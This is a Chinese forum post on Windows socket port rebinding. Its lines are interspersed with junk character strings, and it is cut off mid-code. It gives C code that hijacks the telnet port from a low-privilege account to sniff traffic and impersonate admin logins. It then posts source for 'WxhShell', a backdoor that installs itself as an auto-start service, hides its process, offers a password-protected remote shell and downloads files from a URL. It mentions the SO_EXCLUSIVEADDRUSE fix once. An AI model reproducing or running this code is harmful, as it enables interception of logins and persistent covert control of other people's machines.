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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?Pw# !t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @I\Z2-J  
SW (7!`  
  saddr.sin_family = AF_INET; {.bLh 0  
5 usfyY]z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); daaUC  
FI.S?gy0   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a[\,K4l  
S+ymdZ)xZ`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 HB {-^9{E  
+'>N]|Z  
  这意味着什么?意味着可以进行如下的攻击: 0(Y$xg  
YH)U nql  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |.=Ee+HZ  
($E(^p% O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FRF3V>  
)~_!u}+:(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 WEqHL,Uh]  
$qD8vu )|j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q?[{fcNh$  
d%1S6eYa'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G(JvAe]r  
Q}^ n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \-GV8A2:k  
(*&6XTV(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6NbIT[LvT  
*D~@xypy  
  #include |4-c/@D.~  
  #include 4en&EWUr  
  #include uQ&&? j  
  #include    -}{\C]%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cmt3ceCb  
  int main() .Y_RI&B!L  
  { tH 5f;mY,  
  WORD wVersionRequested; \@pl:Os  
  DWORD ret; [4kx59J3b  
  WSADATA wsaData; :|<D(YA  
  BOOL val; T=VVK6Lc:  
  SOCKADDR_IN saddr; )jR:\fe  
  SOCKADDR_IN scaddr; ?8-e@/E#x  
  int err; & ?/h5<  
  SOCKET s; 9Vzk:zOT  
  SOCKET sc; s.1(- "DU  
  int caddsize; ;s"m* 4N  
  HANDLE mt; u):z1b3*?  
  DWORD tid;   pTGq4v@6x  
  wVersionRequested = MAKEWORD( 2, 2 ); qw%4j9}  
  err = WSAStartup( wVersionRequested, &wsaData ); ?Y ) Qy,  
  if ( err != 0 ) { < t>N(e  
  printf("error!WSAStartup failed!\n"); ^>GL<1 1  
  return -1; <^R\N#  
  } ;Bc f~[ErM  
  saddr.sin_family = AF_INET; (z2)<_bXJ  
   PfnhE>[>cf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 LN?T$H  
!aa^kcEjnL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q*DR~Ov  
  saddr.sin_port = htons(23); |1g2\5Re  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g.DgJX&i  
  { Xe=@I*  
  printf("error!socket failed!\n"); 7Yk6C5C  
  return -1; UbC)X iO  
  } 85 "DS-+e  
  val = TRUE; Bf1GHn Xv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &wNN| fH  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A!fjw  
  { hx)Ed  
  printf("error!setsockopt failed!\n"); KPW: r#d  
  return -1; |t]-a%A=w  
  } 3(^9K2.s}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lxbbyy25  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PwF}yx kI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N g'f u|  
b44H2A .  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >P\T nb"Q\  
  { FX}<F0([?  
  ret=GetLastError(); %|SbZ)gcQ  
  printf("error!bind failed!\n"); ,>{4*PM(  
  return -1; "^_p>C)T  
  } ^%go\ C ;  
  listen(s,2); wjS3ItB  
  while(1) l-t:7`=|  
  { YvBUx#\  
  caddsize = sizeof(scaddr); b\=0[kBQw  
  //接受连接请求 ;a{ Dr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RF6(n8["MW  
  if(sc!=INVALID_SOCKET) J'@ I!Jc  
  { z+wV(i97  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B'yN &3  
  if(mt==NULL) gQ?>%t]  
  { r+m8#uR  
  printf("Thread Creat Failed!\n"); q n=6>wP  
  break; gjo\g P@  
  } @sfV hWG  
  } \VtCkb  
  CloseHandle(mt); uAVV4)  
  } F{l,Tl"Jw  
  closesocket(s); ~p'/Z@Atu  
  WSACleanup(); ]PUyX8'~  
  return 0; s4~c>voQB  
  }   yaR|d3ef?4  
  DWORD WINAPI ClientThread(LPVOID lpParam) ik&loM_  
  { ,Oxdqxu7  
  SOCKET ss = (SOCKET)lpParam; @Z3b^G[  
  SOCKET sc; 6K`frt  
  unsigned char buf[4096]; "ajZ&{Z  
  SOCKADDR_IN saddr; 7t@jj%F  
  long num; mXhr: e  
  DWORD val; E8%O+x}  
  DWORD ret; _$cQAH0 E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1-w1k ^e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Dm 'Q&  
  saddr.sin_family = AF_INET; 50_%Tl[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /&kZ)XOi  
  saddr.sin_port = htons(23); (6 0,0|s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BAm{Gb  
  { &]#D`u  
  printf("error!socket failed!\n"); T+sO(;  
  return -1; tQ`tHe  
  } v`wPdb  
  val = 100; )j6S<mn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5fVdtJk7  
  { ?:U6MjlQ"{  
  ret = GetLastError(); oWXvkDN   
  return -1; v+Mt/8  
  } : FxZdE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :M=!MgD3w  
  { `uzRHbJ`  
  ret = GetLastError(); kx'6FkZPIr  
  return -1; )K5~r>n&  
  } u;=("S{"0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <#`<Ys3b*!  
  { ^GRd;v=-@  
  printf("error!socket connect failed!\n"); UK _2i(I"e  
  closesocket(sc); @Chj0wWZ>  
  closesocket(ss); YjHGdacs  
  return -1; \9ap$  
  } _ZR2?y-M  
  while(1) bZ3CJ f&mE  
  { 1 #EmZ{*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #wC4$y<>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H2k>E}`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !_x-aro3<  
  num = recv(ss,buf,4096,0); xss D2*l  
  if(num>0) apw8wL2  
  send(sc,buf,num,0); -O(.J'=8  
  else if(num==0) DK4V/>@8  
  break; xhimRi  
  num = recv(sc,buf,4096,0); F'SOl*v(s5  
  if(num>0)  61gZZM  
  send(ss,buf,num,0); V]vk9M2q[l  
  else if(num==0) `^_.E:f  
  break; A;2?!i#f  
  } F}sfk}rp  
  closesocket(ss); [0J0<JnK  
  closesocket(sc); DVpqm6$ Q  
  return 0 ; y#x]?%m  
  } Dm4\Rld{  
:+[q `  
9KAXc(-  
========================================================== E; RI.6y  
OM, uR3,  
下边附上一个代码,,WXhSHELL p=Vm{i7  
eRv3ZHH  
========================================================== s \kkD *  
-Tz/ZOJ  
#include "stdafx.h" (U|W=@8`  
,Hj=]e2?  
#include <stdio.h> -.z~u/uL  
#include <string.h> V$:v~*Y9  
#include <windows.h> DoImWNLo  
#include <winsock2.h> L#NPt4Sz+  
#include <winsvc.h> YpNTq_S1,  
#include <urlmon.h> IClnh1=  
ri\r%x  
#pragma comment (lib, "Ws2_32.lib") {},G xrQm  
#pragma comment (lib, "urlmon.lib") @$~%C) %u  
jfgAI7;b  
#define MAX_USER   100 // 最大客户端连接数 $vc:u6I[  
#define BUF_SOCK   200 // sock buffer JsiJ=zo<  
#define KEY_BUFF   255 // 输入 buffer l&T;G 9z  
n{UB^-}5  
#define REBOOT     0   // 重启 8+GlM+>4  
#define SHUTDOWN   1   // 关机 F!SmCE(0x  
{)k}dr  
#define DEF_PORT   5000 // 监听端口 [m('Y0fwO^  
BQw#PXp3  
#define REG_LEN     16   // 注册表键长度 9nd'"$  
#define SVC_LEN     80   // NT服务名长度 z?E:s.4F  
ux-Fvwoh  
// 从dll定义API Kb4u)~S:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~Jq<FVK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .Olq_wuH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >eJk)qM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b`%/ *  
f+gyJ#R`  
// wxhshell配置信息 *+Q,b^N  
struct WSCFG { ~0worI?  
  int ws_port;         // 监听端口 'VO^H68  
  char ws_passstr[REG_LEN]; // 口令 PW.W.<CL  
  int ws_autoins;       // 安装标记, 1=yes 0=no Fdvex$r&  
  char ws_regname[REG_LEN]; // 注册表键名 <4(rY9   
  char ws_svcname[REG_LEN]; // 服务名 30F&FTW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V-I_SvWv\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w"A'uFXLc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5N ' QG<jE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <$7*yV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c t,p?[Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tJg   
yQCfn1a)  
}; =DF7l<&km  
[n66ZY#U]  
// default Wxhshell configuration (5'qEi ea  
struct WSCFG wscfg={DEF_PORT, #PtV=Ee1  
    "xuhuanlingzhe", ,hX03P-X  
    1, ZEHz/Y%  
    "Wxhshell", 7G2TTa  
    "Wxhshell", l} h<2  
            "WxhShell Service", YMJjO0  
    "Wrsky Windows CmdShell Service", i mJ{wF  
    "Please Input Your Password: ", mDj:w#q  
  1, dr:)+R  
  "http://www.wrsky.com/wxhshell.exe", V&NOp  
  "Wxhshell.exe" ^$yr-p%-  
    }; [l'~>  
PsLuyGR.<  
// 消息定义模块 =;c? 6{<1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QbS w<V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S{J$[!F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %.<w8ag  
char *msg_ws_ext="\n\rExit.";  aA0aW=R  
char *msg_ws_end="\n\rQuit."; VJJw"4DJ  
char *msg_ws_boot="\n\rReboot..."; V^.~m;ETu]  
char *msg_ws_poff="\n\rShutdown..."; hv7!x=?8  
char *msg_ws_down="\n\rSave to "; cH"M8gP#  
spn1Ji  
char *msg_ws_err="\n\rErr!"; I[&z#foN=w  
char *msg_ws_ok="\n\rOK!"; l<^#@SH  
.F}ZP0THnZ  
char ExeFile[MAX_PATH]; 3Jk;+<  
int nUser = 0; U2+CL)al^  
HANDLE handles[MAX_USER]; QJ pUk%Wj  
int OsIsNt; .$S`J2Y  
DhkzVp_  
SERVICE_STATUS       serviceStatus; d<: VoQM6M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {v~&.|  
8a e]tX5$  
// 函数声明 q6/ o.j   
int Install(void); }^P(p?~  
int Uninstall(void); -Z]?v3 9  
int DownloadFile(char *sURL, SOCKET wsh); sa*]q~ a  
int Boot(int flag); /koNcpJ  
void HideProc(void); !L-.bve!  
int GetOsVer(void); lty`7(\  
int Wxhshell(SOCKET wsl); bxEb2D  
void TalkWithClient(void *cs); q4(&.Al\@  
int CmdShell(SOCKET sock); 2{**bArV  
int StartFromService(void); vNi7=3  
int StartWxhshell(LPSTR lpCmdLine); ^vo^W:   
USe"1(|E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K3'`!Ka*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PX(Gx%s|  
{"'W!WT b  
// 数据结构和表定义 B 2&fvv?  
SERVICE_TABLE_ENTRY DispatchTable[] = \asF~P  
{ S 8h/AW6l  
{wscfg.ws_svcname, NTServiceMain}, Q|+m)A4@  
{NULL, NULL} 3}n=od=  
}; *1}9`$  
c?b?x 6 2  
// 自我安装 Qn<J@%  
int Install(void) [-1Nn}  
{ I=Ws /+  
  char svExeFile[MAX_PATH]; 1 dI  
  HKEY key; o&gcFOM22  
  strcpy(svExeFile,ExeFile); wxr93$v  
}"Y]GH4Y  
// 如果是win9x系统,修改注册表设为自启动 nN/v7^^  
if(!OsIsNt) { GeZwbJ/?B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g#5g0UP)V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HIi"zo=V  
  RegCloseKey(key); &=t$ AIu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BI,K?D&W-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7f[nNng  
  RegCloseKey(key); A CJmy2  
  return 0; BJ~Q\Si6  
    } ~F>oNbJIv  
  } kzgH p,;R{  
} )v8;\1`s:  
else { u ldea)  
w0tlF:Eg  
// 如果是NT以上系统,安装为系统服务 c3i|q@ k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e +4p__TmZ  
if (schSCManager!=0) ^/mQo`[G  
{ LQNu]2  
  SC_HANDLE schService = CreateService 8r)eiERv  
  ( % NX  
  schSCManager, #qm<4]9 1  
  wscfg.ws_svcname, ks sXi6^  
  wscfg.ws_svcdisp, U-X  
  SERVICE_ALL_ACCESS, n4(w?,w }  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ANp4yy+  
  SERVICE_AUTO_START, W[j =!o  
  SERVICE_ERROR_NORMAL, 9j$ OU@N 8  
  svExeFile, H>;km$b +  
  NULL, mkrvWZjZX  
  NULL, BAg*zYV7  
  NULL, ?GB($D=Y'&  
  NULL, cV)fe`Gg  
  NULL ,t61IU3"  
  ); ]Fl+^aLS  
  if (schService!=0) 1:q55!b  
  { !z58,hv  
  CloseServiceHandle(schService); !0*=z~  
  CloseServiceHandle(schSCManager); =EsKFt"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u|BD%5+J  
  strcat(svExeFile,wscfg.ws_svcname); "`C|;\w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w*#TS8 \  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A{mbL2AxwC  
  RegCloseKey(key);  Rb\=\  
  return 0; f+%J=Am  
    } $vlgiJ&f  
  } uSM4:!8  
  CloseServiceHandle(schSCManager); SECL(@0(^  
} BAdHGwomh  
} k[y{&f,  
z`>a,X  
return 1; 9! gmS?f  
} wToz{!n  
J Y %B:  
// 自我卸载 qC.jXU?rO  
int Uninstall(void) ;QREwT~H  
{ zu^?9k  
  HKEY key; ?ti7iBz?  
}9<aX Y,  
if(!OsIsNt) { |@Q(~[It  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  .;iXe  
  RegDeleteValue(key,wscfg.ws_regname); 4xe:+sA.N  
  RegCloseKey(key); I)_072^O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZRD* ^9)  
  RegDeleteValue(key,wscfg.ws_regname); CHN!o9f  
  RegCloseKey(key); 9SC#N 5V  
  return 0; ^X[Kr=:Jp  
  } 3=T<c?[  
} N$p}rh#7{  
} i*W8_C:S  
else { w v9s{I{P  
"g>uNtt~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ( F0.lDZ  
if (schSCManager!=0) sjWhtd[fgG  
{ 2"yzrwZ:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D#W{:_f  
  if (schService!=0) n_.2B$JD  
  { 8[(c'rl|)|  
  if(DeleteService(schService)!=0) { s2b!Nib  
  CloseServiceHandle(schService); ?n\~&n'C  
  CloseServiceHandle(schSCManager); @<W"$_ r-  
  return 0; K]N^6ome  
  } q6\z]8)  
  CloseServiceHandle(schService); K)l{3\9l|  
  } " *kWM  
  CloseServiceHandle(schSCManager); Vy16Co  
} qECc[)B  
} p Ic ;9  
*G'zES0x  
return 1; @T?:[nPf&F  
} R 4E0avt  
.<rL2`C[c  
// 从指定url下载文件 _Dwn@{[(8  
int DownloadFile(char *sURL, SOCKET wsh) scJ`oc: <J  
{ )amdRc  
  HRESULT hr; L4 x  
char seps[]= "/"; /uW6P3M  
char *token; \eI )(,A  
char *file; }I#;~|v~<  
char myURL[MAX_PATH]; < LzN/I aJ  
char myFILE[MAX_PATH]; #wx0xQ~,J  
l \xIGs  
strcpy(myURL,sURL); 1nBE8 N  
  token=strtok(myURL,seps); fG0rUi(8  
  while(token!=NULL) @l$cZi e  
  { W_O,Kao  
    file=token; f^:9gRt  
  token=strtok(NULL,seps); .fU qsq  
  } w_/q5]/V-5  
FL(gwfL  
GetCurrentDirectory(MAX_PATH,myFILE); isQ{Xt~K  
strcat(myFILE, "\\"); X7NRQ3P@  
strcat(myFILE, file); ',*I=JW;  
  send(wsh,myFILE,strlen(myFILE),0); (^eE8j/K  
send(wsh,"...",3,0); vh KA8vr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }\*dD2qNL}  
  if(hr==S_OK) czdNqk.kh  
return 0; 7:mM`0g!  
else ib/&8)Y+J  
return 1; Gv?3}8Wp  
O0WzDD  
} &nZ=w#_  
F3,hx  
// 系统电源模块 Ndx.SOj  
int Boot(int flag) M\e%GJ0  
{ .F'Fk=N  
  HANDLE hToken; O`OntYwa>  
  TOKEN_PRIVILEGES tkp; u2-%~Rlo  
r,[vXxMy(;  
  if(OsIsNt) { '`/1?,=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dH&N<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6H.D `"cj  
    tkp.PrivilegeCount = 1; p?0 a"5Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Lo7R^>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /LPSI^l!m  
if(flag==REBOOT) { sBZKf8@/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :*A6Ba  
  return 0; Zo-s_6uC  
} I&Yu=v/_  
else { 3::DURkjf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w/h?, L|  
  return 0; } Yj ic4?  
} xJ^Gtq Um  
  } SobK<6  
  else { Fg5>CppH  
if(flag==REBOOT) { {B\ar+9>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9oc.`-e\?  
  return 0; 4q~+K' Z  
} Ct$e`H!;  
else { PO<4rT+B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t+q:8HNh  
  return 0; Q4CxtY  
} q:J,xC_sF(  
} -UUP hGC  
@xSS`&b  
return 1; kTc'k  
} n8iejdA'  
A5y?|q>5  
// win9x进程隐藏模块 cX E42MM  
void HideProc(void) L$i&>cF\_>  
{ nCGLuZn  
4SY]Q[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #RlI([f|&  
  if ( hKernel != NULL ) H.|FEV@  
  { H5^ 'J`0\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J3S@1"   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f{^C+t{r  
    FreeLibrary(hKernel); 42ttmN1F  
  } Mf/zSQk+  
!OPa `kSh  
return; ]{.rx),  
} {p yo  
N/qr}- 3z  
// 获取操作系统版本 !yG{`#NZZ  
int GetOsVer(void) ?9 :{p  
{ ) i.p[  
  OSVERSIONINFO winfo; &AZr (>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <,HdX,5  
  GetVersionEx(&winfo); Ia0.I " ,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FTtYzKX(bv  
  return 1; iW.8+?Xq&  
  else e@NS=U` <  
  return 0; 6b6}HO  
} Q$iv27  
)O#>ONm^  
// 客户端句柄模块 [0Z r z+q  
int Wxhshell(SOCKET wsl) g=o)=sQd  
{ R`!x<J  
  SOCKET wsh; ^r}^-  
  struct sockaddr_in client; ~ NK w}6  
  DWORD myID; 2\CFt;fk  
Z[ZqQ` 7N  
  while(nUser<MAX_USER) 8e[kE>tS._  
{ `GqS.O}C  
  int nSize=sizeof(client); t?QR27cs$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,Hch->?Og  
  if(wsh==INVALID_SOCKET) return 1;  H.'MQ  
.FXq4who  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %_KNAuM  
if(handles[nUser]==0) ;ZFn~!V  
  closesocket(wsh); ZV,n-M =  
else 7K {/2k  
  nUser++; t /EB y"N#  
  } %kKe"$)0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &owBmpz  
_udH(NC  
  return 0; !3kyPoq+  
} fS w00F{T  
?h<I:[oZ  
// 关闭 socket VkRvmKYl  
void CloseIt(SOCKET wsh) x6.an_W6  
{ s'tmak-}|  
closesocket(wsh); CLdLO u"  
nUser--; esLPJx  
ExitThread(0); ++5W_Ooep  
} N$6Rg1  
6}K|eUak/  
// 客户端请求句柄 WG1Uv PK  
void TalkWithClient(void *cs) t(\d;ybyx  
{ x5c pv  
])7t!<  
  SOCKET wsh=(SOCKET)cs; [`6|~E"F  
  char pwd[SVC_LEN]; k8GcHqNHx  
  char cmd[KEY_BUFF]; :@`Ll;G  
char chr[1]; X%h1r`h&  
int i,j; [6FCbzS_W  
u;F++$=  
  while (nUser < MAX_USER) { &g\D-At  
=L#tSa=M"  
if(wscfg.ws_passstr) { <DvpqlT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <q~&g &&+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )67Kd]  
  //ZeroMemory(pwd,KEY_BUFF); Hh(_sewo  
      i=0; /=FQ {tLr  
  while(i<SVC_LEN) { zX"@QB3E  
DHaSBk  
  // 设置超时 HZ>Xm6DnC5  
  fd_set FdRead; +s V$s]U  
  struct timeval TimeOut; R1! {,*Gy  
  FD_ZERO(&FdRead); V=H87 ^b  
  FD_SET(wsh,&FdRead); sc@v\J;k  
  TimeOut.tv_sec=8; s~6?p% 2]  
  TimeOut.tv_usec=0; Hd U1gV>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DCACj-f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EZ8Ih,j9  
W&A22jO.1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bO>Mvf  
  pwd=chr[0]; 3R !Mfz*  
  if(chr[0]==0xd || chr[0]==0xa) { V/.Y]dN5  
  pwd=0; E@}t1!E<  
  break; S@k4k^Vg  
  } @-NdgM<  
  i++; `|8)A)ZVT  
    } u#/Y<1gn  
%F3M\)jU  
  // 如果是非法用户,关闭 socket %A,4vLe~6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9mEC|(m*WK  
} |p4F^!9  
4hg#7#?boW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +w?RW^:Q=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9F(<n  
2ZNTj u7h  
while(1) { <*i '  
J-:\^uP  
  ZeroMemory(cmd,KEY_BUFF); ReE6h\j  
+`r;3kH ..  
      // 自动支持客户端 telnet标准   g7EJyA  
  j=0; Egi<m   
  while(j<KEY_BUFF) { Xjt/ G):L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 63#Sf$p{v  
  cmd[j]=chr[0]; t,]r%  
  if(chr[0]==0xa || chr[0]==0xd) { x\]%TTps  
  cmd[j]=0; w`bojM@e1  
  break; nAZuA]p}S]  
  } 21O!CvX   
  j++; ? DWF7{1  
    } ;[R{oW Nw  
k#_B^J&d  
  // 下载文件 f\nF2rlu  
  if(strstr(cmd,"http://")) { |bk.gh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^8,HJG,!  
  if(DownloadFile(cmd,wsh)) "~:o#~F6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *[]7l]XK.  
  else +H,/W_/g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fil'._  
  } Pn\ Lg8  
  else { +?5nkhH  
6+b!|`?l+  
    switch(cmd[0]) { y Rr,+>W  
  Qr6[h!  
  // 帮助 z4D[>2*  
  case '?': { t4R=$ km  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aze}ko NE  
    break; Ms ;:+JI  
  } Z 7rVM   
  // 安装 C:\BvPoO  
  case 'i': { ~e~iCyW;S  
    if(Install()) byR|L:L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4eMNKIsvY$  
    else 9+)5#!0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aF7" 4^P  
    break; l~kxt2&  
    } (, Il>cR4  
  // 卸载 .uG|Vq1v  
  case 'r': { 494"-F6  
    if(Uninstall()) d[;Sn:B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w[~O@:`]<o  
    else J+r\EN^9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3qR%Mf'  
    break; ;HtHN K(o  
    } QCIH1\`jW  
  // 显示 wxhshell 所在路径 %e.tAl"!$  
  case 'p': { "a %5on  
    char svExeFile[MAX_PATH]; k\8]fh)J\7  
    strcpy(svExeFile,"\n\r"); ln-+=jk  
      strcat(svExeFile,ExeFile); {x{e?c!  
        send(wsh,svExeFile,strlen(svExeFile),0); )EZ#BF<0|  
    break; U6;,<-bL  
    } bx`s;r=  
  // 重启 tn&~~G~#  
  case 'b': { 8x#SpDI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6,"86  
    if(Boot(REBOOT)) 3e+ Ih2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 8l!P(>?y  
    else { Q>]FO  
    closesocket(wsh); NI_.wB{  
    ExitThread(0); r9 G}[# DO  
    } r8x<- u4  
    break; x?v/|  
